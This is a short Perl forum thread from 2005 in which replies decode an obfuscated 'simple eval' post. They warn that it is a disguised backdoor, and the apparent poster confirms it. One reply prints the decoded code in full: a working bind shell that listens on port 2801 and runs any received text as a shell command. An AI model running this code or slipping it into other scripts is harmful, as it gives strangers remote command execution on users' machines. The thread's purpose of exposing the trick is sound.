This node falls below the community's threshold of quality. You may see it by logging in.

Replies are listed 'Best First'.
Re: simple eval
by K_M_McMahon (Hermit) on Jan 24, 2005 at 22:34 UTC
    Hey,
    This is trying to open a port on your local machine to receive data. I wouldn't run it.

    Decoded EVAL statement:
    use IO::Socket; use Net::hostent; my($nmn,$nmm,$mnm,$mmn)=undef; $nmn=IO::Socket::INET->new(Proto=>"tcp", LocalPort=>2801,Listen=>5,Reu +se=>1); while($nmm=$nmn->accept()) { $nmm->autoflush(1); while($mnm=<$nmm>) { $mmn=`$mnm`; print $nmm $mmn; } close $nmm; };
Re: simple eval
by Aristotle (Chancellor) on Jan 24, 2005 at 22:37 UTC

    Eh, it doesn't do anything particularly worth seeing: it listens on port 2801 and executes any string sent to that port in shell. Easy to see if you substitute a print for the eval.

    Or rather, wouldn't do anything particularly worth seeing if it actually worked. The obfuscated data does not translate to compilable Perl as is.

    Makeshifts last the longest.

      Sure it compiles ... as long as you hit "download code" and then save the file. Cut&paste results in a mess, don't do that. See those special characters? Here they show up as the euro sign. They don't export properly... but if you download the code, save it, then it works fine.

Re: simple eval
by Isothop (Acolyte) on Jan 25, 2005 at 16:51 UTC
    as Aristotle said, it doesn't do anything particularly worth seeing. it just bind a shell on port 2801. thanks for your vote.